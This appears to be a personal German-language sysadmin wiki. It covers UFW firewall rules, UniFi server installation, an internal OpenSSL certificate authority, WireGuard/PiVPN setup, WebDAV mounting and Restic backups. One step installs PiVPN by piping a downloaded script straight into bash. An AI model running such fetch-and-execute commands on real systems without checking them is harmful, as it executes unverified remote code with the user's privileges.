Um Ihren Server so zu konfigurieren, dass eingehende SSH-Verbindungen zugelassen werden, können Sie diesen Befehl verwenden:<button type="button"></button>

```
sudo ufw allow ssh
```

Dadurch werden Firewall-Regeln erstellt, die alle Verbindungen an Port `22` zulassen; das ist der Port, an dem der SSH-Daemon standardmäßig lauscht. UFW weiß, was Port `allow ssh` bedeutet, da dies in der Datei `/etc/services` als Dienst aufgeführt wird.

Wir können die äquivalente Regel jedoch auch schreiben, indem wir den Port anstelle des Dienstnamens angeben. Dieser Befehl funktioniert zum Beispiel genauso wie oben:<button type="button"></button>

```
sudo ufw allow 22
```

Wenn Sie Ihren SSH-Daemon so konfiguriert haben, dass er einen anderen Port verwendet, müssen Sie den entsprechenden Port angeben. Wenn Ihr SSH-Server beispielsweise an Port `2222` lauscht, können Sie diesen Befehl verwenden, um Verbindungen an diesem Port zuzulassen:

```
sudo ufw allow 2222
```

Nachdem Ihre Firewall nun so konfiguriert ist, dass eingehende SSH-Verbindungen zugelassen werden, können wir sie aktivieren.

## [Schritt 4 — Aktivieren von UFW](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-4-aktivieren-von-ufw)

Um UFW zu aktivieren, verwenden Sie diesen Befehl:<button type="button"></button>

```
sudo ufw enable
```

Sie erhalten eine Warnung, die besagt, dass der Befehl bestehende SSH-Verbindungen stören kann. Wir haben bereits eine Firewall-Regel eingerichtet, die SSH-Verbindungen zulässt. Daher sollte es in Ordnung sein, fortzufahren. Beantworten Sie die Eingabeaufforderung mit `y` und drücken Sie `ENTER`.

Die Firewall ist jetzt aktiv. Führen Sie den Befehl `sudo ufw status verbose` aus, um die festgelegten Regeln anzuzeigen. Im Rest des Tutorials wird die Verwendung von UFW im Detail behandelt, wie das Zulassen oder Ablehnen verschiedener Verbindungen.

## [Schritt 5 — Zulassen anderer Verbindungen](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-5-zulassen-anderer-verbindungen)

Jetzt sollten Sie alle anderen Verbindungen zulassen, auf die Ihr Server reagieren soll. Die Verbindungen, die Sie zulassen sollten, sind von Ihren spezifischen Bedürfnissen abhängig. Glücklicherweise wissen Sie bereits, wie Sie Regeln schreiben, die Verbindungen anhand eines Dienstnamens oder Ports zulassen. Das haben wir bereits für SSH an Port `22` getan. Sie können es auch tun für:

<div class="Markdown_markdown___3RCz" id="bkmrk-http-an-port-80%2C-was">- HTTP an Port 80, was nicht verschlüsselte Webserver verwenden; mit `sudo ufw allow http` oder `sudo ufw allow 80`
- HTTPS an Port 443, was verschlüsselte Webserver verwenden; mit `sudo ufw allow https` oder `sudo ufw allow 443`

</div>Es gibt weitere Möglichkeiten, um andere Verbindungen zuzulassen, abgesehen von der Angabe eines Ports oder bekannten Dienstes.

### [Spezifische Portbereiche](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#spezifische-portbereiche)

Sie können mit UFW spezifische Portbereiche angeben. Einige Anwendungen verwenden mehrere Ports anstelle eines einzelnen Ports.

Um zum Beispiel X11-Verbindungen zuzulassen, die Ports `6000`-`6007` verwenden, nutzen Sie diese Befehle:<button type="button"></button>

```
sudo ufw allow 6000:6007/tcp
sudo ufw allow 6000:6007/udp
```

Wenn Sie mit UFW Portbereiche angeben, müssen Sie das Protokoll (`tcp` oder `udp`) angeben, für das die Regeln gelten sollen. Wir haben das vorher nicht erwähnt, da wir ohne Angabe des Protokolls automatisch beide Protokolle zulassen, was in den meisten Fällen in Ordnung ist.

### [Spezifische IP-Adressen](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#spezifische-ip-adressen)

Beim Arbeiten mit UFW können Sie auch IP-Adressen spezifizieren. Wenn Sie zum Beispiel Verbindungen von einer bestimmten IP-Adresse zulassen möchten, wie einer Arbeits- oder privaten IP-Adresse unter `203.0.113.4`, müssen Sie `from` und dann die IP-Adresse angeben:<button type="button"></button>

```
sudo ufw allow from 203.0.113.4
```

Sie können auch einen bestimmten Port angeben, mit dem die IP-Adresse eine Verbindung herstellen darf, indem Sie `to any port` (zu jedem Port) gefolgt von der Portnummer hinzufügen. Wenn Sie zum Beispiel `203.0.113.4` erlauben möchten, sich mit Port `22` (SSH) zu verbinden, verwenden Sie diesen Befehl:<button type="button"></button>

```
sudo ufw allow from 203.0.113.4 to any port 22
```

### [Subnetze](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#subnetze)

Wenn Sie ein Subnetz von IP-Adressen zulassen möchten, können Sie CIDR-Notation verwenden, um eine Netzmaske anzugeben. Wenn Sie zum Beispiel alle IP-Adressen im Bereich von `203.0.113.1` bis `203.0.113.254` zulassen möchten, können Sie diesen Befehl verwenden:<button type="button"></button>

```
sudo ufw allow from 203.0.113.0/24
```

Außerdem können Sie auch den Zielport angeben, mit dem das Subnetz `203.0.113.0/24` eine Verbindung herstellen darf. Auch hier verwenden wir Port `22` (SSH) als Beispiel:<button type="button"></button>

```
sudo ufw allow from 203.0.113.0/24 to any port 22
```

### [Verbindungen zu einer spezifischen Netzwerkschnittstelle](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#verbindungen-zu-einer-spezifischen-netzwerkschnittstelle)

Wenn Sie eine Firewall-Regel erstellen möchten, die nur für eine bestimmte Netzwerkschnittstelle gilt, können Sie dazu „allow in on“ gefolgt vom Namen der Netzwerkschnittstelle angeben.

Sie möchten möglicherweise Ihre Netzwerkschnittstellen überprüfen, bevor Sie fortfahren. Dazu verwenden Sie diesen Befehl:

```
ip addr
```

<div class="Markdown_markdown___3RCz" id="bkmrk-output-excerpt"><div class="secondary-code-label" title="Output Excerpt">Output Excerpt</div></div>```
2: <mark>eth0</mark>: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
. . .
3: <mark>eth1</mark>: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default
. . .

```

Die hervorgehobene Ausgabe gibt die Namen der Netzwerkschnittstellen an. Sie haben typischerweise Namen wie `eth0` oder `enp3s2`.

Wenn Ihr Server eine öffentliche Netzwerkschnittstelle namens `eth0` hat, könnten Sie HTTP-Verkehr (Port `80`) dorthin mit diesem Befehl zulassen:<button type="button"></button>

```
sudo ufw allow in on eth0 to any port 80
```

Dadurch würden Sie zulassen, dass Ihr Server HTTP-Anfragen aus dem öffentlichen Internet empfängt.

Oder wenn Sie möchten, dass Ihr MySQL-Datenbankserver (Port `3306`) an der privaten Netzwerkschnittstelle `eth1` nach Verbindungen lauschen soll, können Sie diesen Befehl verwenden:<button type="button"></button>

```
sudo ufw allow in on eth1 to any port 3306
```

Dadurch dürften andere Server in Ihrem privaten Netzwerk eine Verbindung mit Ihrer MySQL-Datenbank herstellen.

## [Schritt 6 — Ablehnen von Verbindungen](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-6-ablehnen-von-verbindungen)

Wenn Sie die Standardrichtlinie für eingehende Verbindungen nicht geändert haben, ist UFW so konfiguriert, dass alle eingehenden Verbindungen abgelehnt werden. Das vereinfacht im Allgemeinen das Erstellen einer sicheren Firewall-Richtlinie, da Sie Regeln erstellen müssen, die bestimmte Ports und IP-Adressen explizit zulassen.

Manchmal werden Sie jedoch einzelne Verbindungen auf Grundlage der Quell-IP-Adresse oder des Subnetzes ablehnen wollen, vielleicht weil Sie wissen, dass Ihr Server von dort angegriffen wird. Wenn Sie Ihre Richtlinie für eingehenden Datenverkehr in **allow** ändern möchten (was nicht empfohlen wird), müssten Sie für alle Dienste oder IP-Adressen, bei denen Sie keine Verbindung zulassen wollen, **deny**-Regeln erstellen.

Um **deny**-Regeln zu schreiben, können Sie die oben beschriebenen Befehle verwenden und **allow** durch **deny** ersetzen.

Um zum Beispiel HTTP-Verbindungen abzulehnen, können Sie diesen Befehl verwenden:<button type="button"></button>

```
sudo ufw deny http
```

Oder wenn Sie alle Verbindungen von `203.0.113.4` ablehnen möchten, können Sie diesen Befehl verwenden:<button type="button"></button>

```
sudo ufw deny from 203.0.113.4
```

Jetzt werfen wir einen Blick auf das Löschen von Regeln.

## [Schritt 7 — Löschen von Regeln](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-7-loschen-von-regeln)

Zu wissen, wie man Firewall-Regeln löscht, ist genauso wichtig wie zu wissen, wie man sie erstellt. Es gibt zwei Wege, um anzugeben, welche Regeln gelöscht werden sollen: anhand der Regelnummer oder der tatsächlichen Regel (ähnlich wie beim Angeben der Regeln im Rahmen der Erstellung). Wir beginnen mit der Methode **Löschen anhand von Regelnummer**, da sie einfacher ist.

### [Nach Regelnummer](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#nach-regelnummer)

Wenn Sie die Regelnummer verwenden, um Firewall-Regeln zu löschen, wird eine Liste Ihrer Firewall-Regeln angezeigt. Der UFW-Statusbefehl hat eine Option, um neben jeder Regel eine Nummer anzuzeigen, wie hier gezeigt:<button type="button"></button>

```
sudo ufw status numbered
```

<div class="Markdown_markdown___3RCz" id="bkmrk-numbered-output%3A"><div class="secondary-code-label" title="Numbered Output:">  
</div><div class="secondary-code-label" title="Numbered Output:">Numbered Output:</div></div>```
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] 22                         ALLOW IN    15.15.15.0/24
[ 2] 80                         ALLOW IN    Anywhere

```

Wenn wir entscheiden, dass wir Regel 2, die Verbindungen an Port 80 (HTTP) zulässt, löschen möchten, können wir sie in einem UFW-Befehl wie diesem angeben:<button type="button"></button>

```
sudo ufw delete 2
```

Dadurch würde eine Bestätigungsaufforderung angezeigt und Regel 2, die HTTP-Verbindungen zulässt, dann gelöscht. Beachten Sie, dass Sie bei aktiviertem IPv6 wahrscheinlich auch die entsprechende IPv6-Regel löschen möchten.

### [Nach tatsächlicher Regel](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#nach-tatsachlicher-regel)

Die Alternative zu Regelnummern besteht darin, die tatsächlich zu löschende Regel anzugeben. Wenn Sie zum Beispiel die Regel `allow http` entfernen möchten, können Sie das wie folgt schreiben:<button type="button"></button>

```
sudo ufw delete allow http
```

Sie könnten die Regel auch anhand von `allow 80` anstelle des Dienstnamens angeben:

```
sudo ufw delete allow 80
```

<div class="Markdown_markdown___3RCz" id="bkmrk--2"><div class="code-toolbar">  
</div></div>Diese Methode löscht sowohl IPv4- als auch IPv6-Regeln, falls vorhanden.

## [Schritt 8 — Prüfen von UFW-Status und -Regeln](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-8-prufen-von-ufw-status-und-regeln)

Sie können den Status von UFW mit diesem Befehl jederzeit überprüfen:<button type="button"></button>

```
sudo ufw status verbose
```

Wenn UFW deaktiviert ist, was standardmäßig der Fall ist, sehen Sie in etwa Folgendes:

<div class="Markdown_markdown___3RCz" id="bkmrk-output"><div class="secondary-code-label" title="Output">Output</div></div>```
Status: inactive

```

Wenn UFW aktiv ist, was der Fall sein sollte, wenn Sie Schritt 3 ausgeführt haben, teilt die Ausgabe mit, dass UFW aktiv ist; zudem werden alle festgelegten Regeln aufgelistet. Wenn Sie die Firewall beispielsweise so einrichten, dass SSH (Port `22`)-Verbindungen überall zugelassen werden, könnte die Ausgabe ungefähr wie folgt aussehen:

<div class="Markdown_markdown___3RCz" id="bkmrk-output-1"><div class="secondary-code-label" title="Output">Output</div></div>```
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
22/tcp                     ALLOW IN    Anywhere

```

Verwenden Sie den Befehl `status`, um zu prüfen, wie UFW die Firewall konfiguriert hat.

### [Schritt 9 — Aktivieren oder Zurücksetzen von UFW (optional)](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#schritt-9-aktivieren-oder-zurucksetzen-von-ufw-optional)

Wenn Sie entscheiden, dass Sie UFW nicht mehr verwenden möchten, können Sie die Firewall mit diesem Befehl deaktivieren:

```
sudo ufw disable
```

<div class="Markdown_markdown___3RCz" id="bkmrk-copy-21"><div class="code-toolbar"><div class="toolbar">  
</div></div></div>Alle Regeln, die Sie mit UFW erstellt haben, sind dann nicht mehr aktiv. Sie können später jederzeit `sudo ufw enable` nutzen, um sie wieder zu aktivieren.

Wenn Sie bereits UFW-Regeln konfiguriert haben, aber lieber neu anfangen möchten, können Sie den Befehl reset verwenden:<button type="button"></button>

```
sudo ufw reset
```

Dadurch wird UFW deaktiviert und alle Regeln, die zuvor definiert wurden, werden gelöscht. Beachten Sie, dass die Standardrichtlinien nicht zu ihren ursprünglichen Einstellungen zurückkehren, wenn Sie sie irgendwann geändert haben. Jetzt sollten Sie mit UFW neu anfangen können.

### [Ping verbieten](https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-with-ufw-on-ubuntu-20-04-de#zusammenfassung)

Ping kann in der Datei /etc/ufw/before.rules deaktiviert werden.

`-A ufw-before-input -p icmp --icmp-type echo-request -j DROP`

# Unifi-Server

## Server installieren

<iframe allowfullscreen="allowfullscreen" height="314" src="https://www.youtube.com/embed/ihKJz7nko9k" width="560"></iframe>

[https://help.ui.com/hc/en-us/articles/220066768-Updating-and-Installing-Self-Hosted-UniFi-Network-Servers-Linux](https://help.ui.com/hc/en-us/articles/220066768-Updating-and-Installing-Self-Hosted-UniFi-Network-Servers-Linux)

```
#Check your Ubuntu version
lsb_release -a
 
#Installing Unifi Repo
sudo apt-get update && sudo apt-get install ca-certificates apt-transport-https
echo 'deb [ arch=amd64,arm64 ] https://www.ui.com/downloads/unifi/debian stable ubiquiti' | sudo tee /etc/apt/sources.list.d/100-ubnt-unifi.list
sudo wget -O /etc/apt/trusted.gpg.d/unifi-repo.gpg https://dl.ui.com/unifi/unifi-repo.gpg
 
#Alternativly download the package directly
 
https://dl.ui.com/unifi/8.0.28/unifi_sysvinit_all.deb
 
#Fixing the dependencies
wget http://archive.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2_amd64.deb -O libssl1.1.deb
sudo dpkg -i libssl1.1.deb
 
curl https://pgp.mongodb.com/server-4.4.asc | sudo gpg --dearmor | sudo tee /usr/share/keyrings/mongodb-org-server-4.4-archive-keyring.gpg >/dev/null
echo 'deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/mongodb-org-server-4.4-archive-keyring.gpg] https://repo.mongodb.org/apt/ubuntu focal/mongodb-org/4.4 multiverse' | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list > /dev/null
 
sudo apt update && sudo apt install -y mongodb-org-server
sudo systemctl enable mongod && sudo systemctl start mongod
 
#Installing Unifi
sudo apt-get update && sudo apt-get install unifi -y
sudo systemctl enable unifi && sudo systemctl restart unifi
```

## Server Updaten

Ganz einfach über `sudo apt update && sudo apt upgrade -y`

# Update Ubuntu Distribution

Um die Distribution von Ubuntu von einem 20.04 auf 22.04 upzudaten

```
## view current version ##
lsb_release -a
	
## install new version ##   
apt update 
apt upgrade
apt dist-upgrade
apt autoremove
apt install update-manager-core
do-release-upgrade
```

# Vertrauenswürdige SSL Zertifikate im Internen Netz

<iframe allowfullscreen="allowfullscreen" height="314" src="https://www.youtube.com/embed/bv47DR_A0hw" width="560"></iframe>

### DNS Server erstellen

[piHole installieren](https://books.hhml.selfhost.co/books/proxmox/page/pihole-installieren "piHole installieren")

### Linux als Zertifikats Server einrichten

```
openssl genrsa -des3 -out myCA.key 2048
```

#### Root Zertifikat erstellen

```
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem
```

Hier nur bei Organization Name was eingeben, wenn überhaupt. z. B. milecloud

die .pem Datei wird dann auf die Rechner gebracht.

### Zertifikat auf dem mac hinzufügen

```
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" myCA.pem
```

### Zertifikat auf einem Linux rechner Hinzufügen

```
sudo su

cp myCA.pem /usr/local/share/ca-certificates

update-ca-certificates
```

### Zertifikate für den Clients erstellen

Auf dem Zertrechner

```
openssl genrsa -out proxmox.lan.key 2048

openssl req -new -key proxmox.lan.key -out proxmox.lan.csr

```

### ext Datei erstellen

```
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = proxmox.lan
```

#### Gesamte Befehle von Apfelcast

```bash
########### Create your own Certificate Authority and Certificates ###########

1. Create Certificate Authority

1.1 Create central certificate folder
mkdir ~/certs
cd ~/certs

1.2 generate private key for CA
openssl genrsa -des3 -out myCA.key 2048

1.3 create CA root certificate
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 -out myCA.pem


2. Create certificate signed by own CA

2.1 generate private key for certificate 
openssl genrsa -out demo.lan.key 2048

2.2 create CSR
openssl req -new -key demo.lan.key -out demo.lan.csr

2.3 create an X509 V3 certificate extension config file
nano demo.lan.ext


authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names

[alt_names]
DNS.1 = demo.lan


2.4 create the certificate: using our CSR, the CA private key, the CA certificate, and the config file

openssl x509 -req -in demo.lan.csr -CA myCA.pem -CAkey myCA.key \
-CAcreateserial -out demo.lan.crt -days 825 -sha256 -extfile demo.lan.ext

# .crt und .key werden auf dem Server benötigt, der den Dienst zur verfügung stell

3. Use Certificate with apache

a2enmod ssl

nano /etc/apache2/sites-available/demo.lan.conf


<VirtualHost *:443>
   ServerName demo.lan
   DocumentRoot /var/www/html

   SSLEngine on
   SSLCertificateFile /root/certs/demo.lan.crt
   SSLCertificateKeyFile /root/certs/demo.lan.key
</VirtualHost>

a2ensite demo.lan.conf

service apache2 restart

4. Add CA to client

4.1 Mac OS
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" myCA.pem

4.2 Linux 
sudo cp myCA.pem /usr/local/share/ca-certificates/myCA.crt 
sudo update-ca-certificates
```

###   


### Zertifikat mit Skript erstellen

```bash
### Skript vorbereiten ###

nano /root/certs/auto-cert.sh
...
chmod +x /root/certs/auto-cert.sh

bash /root/certs/auto-cert.sh domain.lan

### Skript vorbereiten ###


####### Skript #######


#!/bin/sh

if [ "$#" -ne 1 ]
then
  echo "Usage: Must supply a domain"
  exit 1
fi

DOMAIN=$1

cd ~/certs

openssl genrsa -out $DOMAIN.key 2048
openssl req -new -key $DOMAIN.key -out $DOMAIN.csr

cat > $DOMAIN.ext << EOF
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = $DOMAIN
EOF

openssl x509 -req -in $DOMAIN.csr -CA myCA.pem -CAkey myCA.key -CAcreateserial \
-out $DOMAIN.crt -days 825 -sha256 -extfile $DOMAIN.ext

####### Skript #######
```

# Wireguard VPN erstellen

<p class="callout info">Ganz einfach Möglichkeit ist es, das VPN als PiVPN zu installieren</p>

### Installation

```bash
curl -L https://install.pivpn.io | bash
```

Yes, that's it! It is \*almost\* that simple.  
To elaborate a little more, you will want to [install Raspberry Pi OS Lite](https://www.raspberrypi.org/documentation/installation/installing-images/README.md) on a Raspberry pi, we strongly recommend using the latest [Raspberry Pi OS Lite](https://www.raspberrypi.org/software/operating-systems/#raspberry-pi-os-32-bit) image but the normal Raspberry Pi OS image will work as well, preferably enable ssh access and then begin.  
After install, you may need to open a port on your router.  
There is a (now slightly outdated) guided walkthrough of the install available [here](https://www.sitepoint.com/setting-up-a-home-vpn-using-your-raspberry-pi/).  
More information is also available on the [PiVPN GitHub](https://github.com/pivpn/pivpn)

### Konfiguration eines Clients

##### Generating Private and Public Keys

WireGuard works by encrypting the connection using a pair of cryptographic keys. The key pair is used by passing the public key to the other party, which can then encrypt its message so that it can only be decrypted with the corresponding private key. To secure two-way communication, each side must have its own private and public keys, since each pair provides only one-way messaging.

Generate a client public and private key pair by running the following command:

`pivpn -add`

die public keys befinden sich im Ordner `/home/pivpn/config`

## Wireguard Client konfigurieren

<p class="callout info">Diese Vorgehensweise für einen Wireguard Client funkioniert und wurde erfolgreich auf Kali getestet</p>

```bash
sudo apt install wireguard resolvconf # Software installieren

sudo cp /media/kali/persitence/tails.conf /etc/wireguard/wg0-client-01.conf # Configdatei speichern

# Berechtigungen zuordnen
sudo chown root:root /etc/wireguard/wg0-client-01.conf
sudo chmod 644 /etc/wireguard/wg0-client-01.conf
sudo chmod 755 /etc/wireguard

# Starten
sudo wg-quick up /etc/wireguard/wg0-client-01.conf

# Stoppen
sudo wg-quick down /etc/wireguard/wg0-client-01.conf

#Status
sudo wg
```

## Wireguard automatisch starten

Um eine **WireGuard-Verbindung nach dem Systemstart automatisch und ohne erneute Eingabe des sudo-Passworts** herzustellen, gibt es eine etablierte Methode über systemd. Dafür sind Root-Rechte *bei der Einrichtung* einmalig nötig, danach aber nicht mehr bei jedem Start. Das Einrichten geht wie folgt:

**1. Konfiguration absichern**

Lege deine WireGuard-Konfiguration als z. B. `/etc/wireguard/wg0.conf` an und prüfe die Berechtigungen (`root:root`, nur für root lesbar)

**2. Systemd-Service aktivieren**

Aktiviere den automatischen Start mittels:

```bash
sudo systemctl enable wg-quick@wg0.service 
```

<div class="w-full md:max-w-[90vw]" id="bkmrk-"><div class="codeWrapper text-textMainDark selection:text-super selection:bg-super/10 bg-offset my-md relative flex flex-col rounded font-mono text-sm font-thin"></div></div>Ersetze `wg0` durch den Namen deiner Konfigurationsdatei ohne `.conf`.

Optional: Starte WireGuard sofort mi

```bash
sudo systemctl start wg-quick@wg0 
```

Ab sofort baut das System beim Booten die Verbindung ohne Passwortabfrage auf – das Service läuft mit Root-Rechten im Hintergrund

<div class="w-full md:max-w-[90vw]" id="bkmrk--1"><div class="codeWrapper text-textMainDark selection:text-super selection:bg-super/10 bg-offset my-md relative flex flex-col rounded font-mono text-sm font-thin"></div></div>**3. Kein sudo beim Verbindungsaufbau nach Boot erforderlich**

- Nach der Einrichtung ist **keine** weitere Passworteingabe (sudo) nötig, sofern die Schnittstelle beim Systemstart aktiviert wird
- Möchtest du WireGuard auch manuell ohne Passwort (z. B. per Script oder Terminal) steuern, kann *zusätzlich* der folgende Schritt nötig werden:

# Hardwareinfo

Mit diesem Skript die Hardware Info eines Linux-PC auslesen

```bash
#!/bin/bash

# CPU Informationen
cpu_info=$(lscpu | grep 'Model name' | sed 's/Model name:\s*//')

# RAM Informationen
ram_info=$(free -h | grep Mem | awk '{print $2}')

# Festplatten Informationen
disk_info=$(lsblk -d -o NAME,SIZE,TYPE | grep disk)

# Netzwerkadapter
net_info=$(ip link show | grep -E '^[0-9]+:' | awk -F: '{print $2}' | tr -d ' ')

# Grafikkarte
gpu_info=$(lspci | grep -i 'vga' | sed 's/.*: //')

# Motherboard (Benötigt root Rechte)
mb_info=$(sudo dmidecode -t baseboard | grep 'Product Name' | head -1 | sed 's/Product Name:\s*//')

# Ausgabe der Informationen
echo "CPU: $cpu_info"
echo "RAM: $ram_info"
echo -e "Festplatten:\n$disk_info"
echo -e "Netzwerkadapter:\n$net_info"
echo "Grafikkarte: $gpu_info"
echo "Motherboard: $mb_info"

```

# Webdav in Linux

## 1. davfs2 installieren und vorbereiten

```bash
sudo apt update 
sudo apt install davfs2 ca-certificates 
sudo usermod -aG davfs2 "$USER" 
mkdir -p "$HOME/mnt/webdav"
```

Danach einmal ab- und wieder anmelden, damit die Gruppenmitgliedschaft (`davfs2`) aktiv wird.​

## 2. Zugangsdaten hinterlegen

Datei `~/.davfs2/secrets` anlegen oder bearbeiten:

```bash
mkdir -p ~/.davfs2 
chmod 700 ~/.davfs2 
nano ~/.davfs2/secrets
```

Inhalt (eine Zeile):

```
https://web.hhml.selfhost.co/appringana/produkte/ DEIN_USER DEIN_PASS
```

Dann:

<div class="w-full md:max-w-[90vw]" id="bkmrk-bash-chmod-600-%7E%2F.da"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded-lg font-mono text-sm font-normal bg-subtler"><div class="-mt-xl"><div><div class="text-quiet bg-subtle py-xs px-sm inline-block rounded-br rounded-tl-lg text-xs font-thin" data-testid="code-language-indicator">bash</div></div><div>`<span class="token token">chmod</span> <span class="token token">600</span> ~/.davfs2/secrets`</div></div></div></div>## 3. Mounten (manuell testen)

<div class="w-full md:max-w-[90vw]" id="bkmrk-bash"><div class="codeWrapper text-light selection:text-super selection:bg-super/10 my-md relative flex flex-col rounded-lg font-mono text-sm font-normal bg-subtler"><div class="-mt-xl"><div><div class="text-quiet bg-subtle py-xs px-sm inline-block rounded-br rounded-tl-lg text-xs font-thin" data-testid="code-language-indicator">bash</div></div><div></div></div></div></div>```bash
mount -t davfs https://web.hhml.selfhost.co/appringana/produkte/ "$HOME/mnt/webdav"
```

Jetzt solltest du in `$HOME/mnt/webdav` deine `noa_products.json` sehen.

# Restic Backup

# 🔒 Restic Backup &amp; Restore

Vollständige Anleitung für Linux | Sicher • Verschlüsselt • Zuverlässig

# 1. Was ist Restic?

Restic ist ein modernes, kostenloses Open-Source-Backup-Programm für Linux, macOS und Windows. Es zeichnet sich durch folgende Eigenschaften aus:

<table id="bkmrk-eigenschaft-beschrei"><tbody><tr><th>Eigenschaft</th><th>Beschreibung</th></tr><tr><td>**Verschlüsselung**</td><td>Alle Backups werden automatisch mit AES-256 verschlüsselt</td></tr><tr><td>**Deduplizierung**</td><td>Gleiche Daten werden nur einmal gespeichert – spart Speicherplatz</td></tr><tr><td>**Inkrementell**</td><td>Nur geänderte Dateien werden gesichert – sehr schnell</td></tr><tr><td>**Viele Ziele**</td><td>Lokal, externe Festplatte, Nextcloud (WebDAV), S3, SFTP, u.v.m.</td></tr><tr><td>**Open Source**</td><td>Kostenlos, transparent, aktiv weiterentwickelt</td></tr><tr><td>**Cross-Platform**</td><td>Backup auf Linux erstellen, auf Windows wiederherstellen</td></tr></tbody></table>

# 2. Installation

## Debian / Ubuntu

```
sudo apt update && sudo apt install restic
```

## Fedora / Rocky Linux / AlmaLinux

```
sudo dnf install restic
```

## Aktuellste Version manuell installieren

Die Version in den Paketquellen ist manchmal veraltet. Die neueste Version so aktualisieren:

```
sudo restic self-update
```

<div class="note" id="bkmrk-%F0%9F%92%A1-nach-der-installat">💡 Nach der Installation immer mit `restic version` prüfen, ob die Installation geklappt hat.</div># 3. Repository einrichten

Restic speichert Backups in einem sogenannten **Repository** (kurz: Repo). Dieses muss einmalig initialisiert werden.

## 3.1 Lokales Repository (externe Festplatte)

```
restic init --repo /mnt/externe-festplatte/backups
```

Restic fragt nach einem Passwort – dieses ist sehr wichtig! Ohne Passwort kann das Backup **nicht** wiederhergestellt werden.

<div class="warn" id="bkmrk-%E2%9A%A0%EF%B8%8F-das-passwort-unbe">⚠️ Das Passwort unbedingt sicher aufbewahren! Am besten in einem Passwortmanager (z.B. KeePassXC) oder ausgedruckt an einem sicheren Ort.</div>## 3.2 Nextcloud Repository (WebDAV)

Restic kann direkt in deine Nextcloud sichern. Dazu wird das Tool **rclone** als Brücke verwendet.

### Schritt 1: rclone installieren

```
sudo apt install rclone
```

### Schritt 2: rclone konfigurieren

```
rclone config
```

Im interaktiven Menü folgendes auswählen:

- `n` für neues Remote
- Name: `nextcloud`
- Typ: `webdav`
- URL: `https://deine-nextcloud.de/remote.php/dav/files/BENUTZERNAME/`
- Vendor: `nextcloud`
- Benutzername und Passwort eingeben

### Schritt 3: Repository initialisieren

```
restic init --repo rclone:nextcloud:/Restic-Backups
```

<div class="note" id="bkmrk-%F0%9F%92%A1-der-ordner-%22restic">💡 Der Ordner "Restic-Backups" wird automatisch in deiner Nextcloud angelegt.</div># 4. Backup erstellen

## 4.1 Home-Verzeichnis sichern (empfohlen)

```
restic backup --repo /mnt/externe-festplatte/backups /home/BENUTZERNAME
```

Für Nextcloud entsprechend:

```
restic backup --repo rclone:nextcloud:/Restic-Backups /home/BENUTZERNAME
```

## 4.2 Ganzes System sichern

Um das komplette System zu sichern, sollten einige Systemverzeichnisse ausgeschlossen werden:

```
restic backup --repo /mnt/externe-festplatte/backups / \
  --exclude /proc \
  --exclude /sys \
  --exclude /dev \
  --exclude /run \
  --exclude /tmp \
  --exclude /mnt \
  --exclude /media
```

<div class="warn" id="bkmrk-%E2%9A%A0%EF%B8%8F-f%C3%BCr-system-backup">⚠️ Für System-Backups müssen Root-Rechte verwendet werden: `sudo restic backup ...`</div>## 4.3 Backup mit Tags

Tags helfen beim Organisieren und späteren Wiederherstellen:

```
restic backup --repo /mnt/externe-festplatte/backups /home/BENUTZERNAME --tag wöchentlich
```

## 4.4 Passwort-Eingabe automatisieren

Um das Passwort nicht jedes Mal eintippen zu müssen, kann es in einer Datei gespeichert werden:

```
echo 'dein-sicheres-passwort' > ~/.restic-passwort
chmod 600 ~/.restic-passwort
```

Dann beim Aufruf:

```
restic backup --repo /mnt/externe-festplatte/backups --password-file ~/.restic-passwort /home/BENUTZERNAME
```

# 5. Backups anzeigen und verwalten

## 5.1 Alle Snapshots anzeigen

```
restic snapshots --repo /mnt/externe-festplatte/backups
```

Beispielausgabe:

```
ID        Zeit                  Host    Pfade
──────────────────────────────────────────────────────
a3b4c5d6  2025-02-20 10:00:00  laptop  /home/max
